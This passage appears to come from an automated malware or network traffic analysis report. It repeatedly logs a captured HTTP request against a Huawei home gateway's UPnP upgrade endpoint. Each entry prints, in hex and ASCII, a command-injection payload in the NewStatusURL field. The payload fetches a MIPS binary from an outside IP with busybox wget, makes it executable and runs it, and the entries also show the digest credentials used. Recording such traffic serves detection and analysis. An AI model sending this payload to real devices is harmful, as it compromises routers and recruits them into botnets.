/tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 